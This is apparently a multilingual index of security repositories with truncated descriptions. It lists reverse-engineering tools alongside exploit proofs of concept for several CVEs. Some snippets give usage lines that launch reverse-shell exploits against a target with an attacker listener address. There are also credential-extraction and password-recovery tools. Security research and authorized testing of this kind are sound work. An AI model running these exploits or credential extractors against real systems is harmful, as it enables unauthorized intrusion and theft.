hexcymatix

hexcymatix hexcymatix est un projet de recherche exploratoire, conçu de manière lâche comme un outil de rétro-ingénierie binaire pour extraire des informations structurelles à partir de motifs d'octets répétés dans les fichiers binaires. L'idée ne s'est jamais concrétisée en un outil utilisable,...

apkprobe

APKprobe أداة فك تجميع APK وماسح الأسرار لأبحاث أمن أندرويد. تستخرج تلقائيًا مفاتيح API ونقاط النهاية والرموز المميزة وغيرها من بيانات الاعتماد المسربة من تطبيقات أندرويد. تعمل مع ملفات .apk و.xapk و.dex و.jar و.class و.smali و.zip و.aar و.arsc و.aab. مثالية لاستخراج apk2url واكتشاف تسريبات apk...

Log4Shell-CVE-2021-44228-ENV

Log4Shell प्रतिकृति वातावरण उदाहरण विवरण हमलाग्रस्त मशीन IP: 47.47.47.47 हमलावर मशीन IP: 48.48.48.48 हमलाग्रस्त मशीन पर कमजोरी Docker चलाएँ DockerFile का उपयोग करके Docker इमेज बनाएँ और चलाएँ: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln हमलावर मशीन पर आक्रमण Docker चलाएँ...

CVE-2024-48990-POC

CVE-2024-48990-POC إثبات بسيط لثغرة CVE-2024-48990 لتصعيد الامتيازات مع needrestart. https://www.qualys.com/2024/11/19/needrestart/needrestart.txt نظرة عامة تم تصميم هذا أثناء العمل على تحدي HackTheBox، 'Conversor'. سيتم إجراء تعديلات طفيفة لتعميمه أكثر لاحقًا. لم تعجبني التطبيقات التي وجدتها...

JObfuscator

JObfuscator — تشويش وحماية كود مصدر جافا JObfuscator هو أداة تشويش لكود مصدر لغة البرمجة جافا. يمكنه حماية كود مصدر جافا والخوارزميات الخاصة بك من الاختراق، والكسر، والهندسة العكسية، وفك الترجمة، وسرقة التقنية. يستخدم JObfuscator مجموعة متنوعة من تقنيات التشويش لحماية وإخفاء الوظيفة الحقيقية لكود...

Total-Commander-FTP-Password-Recovery-Tool-Python

استعادة كلمة مرور FTP الخاصة بـ Total Commander Python Total Commander المعروف سابقًا باسم Windows Commander هو مدير ملفات كلاسيكي لنظام Windows وWindows CE وWindows Phone والآن أيضًا لنظام Android. يحتوي Total Commander على عميل FTP/FXP مدمج ويحتفظ ببيانات تسجيل الدخول وكلمات المرور المشفرة لـ F...

CVE-2020-0796

CVE-2020-0796 استغلال PoC عملي CVE-2020-0796 - شل Bind عكسية تم اختباره باستخدام Python2.7 للتثبيت: pip install -r requirements.txt للتشغيل: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-33017-Exploit

استغلال Fireflow لتنفيذ الأوامر عن بُعد تنفيذ التعليمات البرمجية عن بُعد لـ Langflow عبر نقطة النهاية buildpublictmp. استغلال عبر نقطة نهاية بناء التدفق العامة التي تنفذ شل عكسية على الهدف. المتطلبات Python 3.8+ مكتبة httpx التثبيت: pip install httpx الاستخدام python exploit.py -u -l -p --flow-id...

xwiki-15.10.8-reverse-shell-cve-2025-24893

استغلال شيل عكسي لـ CVE-2025-24893 في XWiki إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبار الأمان المصرح به فقط. لا تستخدمها على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. الاستخدام الخاطئ قد يكون غير قانوني وخطير. الوصف يستغل هذا السكريبت بلغة بايثون CVE-2025-24893 ، وهي ثغرة تنف...

ida-efiutils

نصوص IDA البرمجية لـ EFI بعض نصوص IDA البرمجية للمساعدة في الهندسة العكسية لملفات EFI القابلة للتنفيذ. تحتوي هذه الحزمة على الملفات التالية: 1. efiutils.py - وحدة IDAPython تحتوي على بعض الدوال المساعدة 2. efiguids.py - مجموعة من المعرفات الفريدة المعروفة GUIDs لبروتوكولات EFI 3. efiguidsami.py...

ida-efiutils

EFI scripts for IDA Pro Some IDA scripts to assist with reverse engineering EFI executables. This package contains the following files: 1. efiutils.py - IDAPython module with some helper functions 2. efiguids.py - A collection of known GUIDs for EFI protocols 3. efiguidsami.py - A collection of...

ida-efitools2

حول إنه إضافة IDA لتوسيع قدرات الهندسة العكسية لـ UEFI. مبني على ida-efitools مع مجموعة من الإصلاحات والميزات الجديدة. يعمل مع كل من Python 2 و Python 3. يدعم الإصدارات القديمة من IDA Pro 7.x دون ضمانات. الميزات تعريف GUIDs نشر الهياكل السجلات، xrefs، متغيرات المكدس تحديد البروتوكولات والواجهات...

ida-efitools2

About It is an IDA plugin for extending UEFI reverse engineering capabilities. Based on ida-efitools with a bunch of fixes and new features. Works with both Python 2 and Python 3. Supports outdated versions of IDA Pro 7.x with no guarantees. Features GUIDs defining Structures propagating register...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC Petite preuve de concept en Python pour abuser d'un processeur ExecuteSQL Apache NiFi modifiable avec une charge utile H2 RUNSCRIPT afin de déclencher l'exécution de commandes à distance via un reverse shell Bash. Uniquement pour les...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ बिना प्रमाणीकरण के RCE PoC !WARNING इस रिपॉजिटरी में एक सक्रिय रिमोट-कोड-एक्जीक्यूशन प्रूफ ऑफ कॉन्सेप्ट है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। लेखक अनधिकृत उपयोग या क्षति के लिए कोई जिम्मेदारी नहीं...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Havoc C2 पर रिवर्स शेल प्राप्त करना - SSRF को RCE के साथ जोड़ना स्थानीय IP और पोर्ट के साथ रिवर्स-शेल प्राप्त करें, CVE-2024-4157 POC को havocauthrce के साथ जोड़ते हुए उपयोग बुनियादी जानकारी $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME ...

ghidra-firmware-utils

أدوات Ghidra للبرامج الثابتة وحدات متنوعة لـ Ghidra للمساعدة في الهندسة العكسية للبرامج الثابتة لأجهزة الكمبيوتر. تم قبول هذا كمشروع coreboot لـ GSoC 2019. الميزات مُحمّل خيارات ROM لواجهة PCI ينفّذ مُحمّل نظام ملفات لخيارات ROM لواجهة PCI يتعامل مع ROMs الهجينة التي تحتوي على صور متعددة، مثل x86...

BlueDoor

BlueDoor CTF चुनौती अवलोकन चुनौती का नाम : BlueDoor CVE : CVE-2017-0144 EternalBlue कठिनाई : 3/5 श्रेणी : एक्सप्लॉइटेशन, विंडोज़ लेखक : सेठ डेविस BlueDoor एक Windows 7 प्रणाली में एक वास्तविक दुनिया की भेद्यता EternalBlue - CVE-2017-0144 का अनुकरण करता है। उद्देश्य भेद्यता का शोषण करना,...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell विवरण यह स्क्रिप्ट एक पेनिट्रेशन टेस्टिंग टूल है जिसे Apache Commons Text संस्करण -param $PARAMETER -L $LHOST -P $LPORT उदाहरण python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 अस्वीकरण यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत...

CVE-2024-4439

استغلال CVE-2024-4439 يوضح هذا السكربت المكتوب بلغة Python استغلالًا للثغرة الأمنية CVE-2024-4439. يمكنك استخدام هذا السكربت لاختبار موقع ووردبريس عرضة للخطر. الاستخدام قبل البدء git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-package...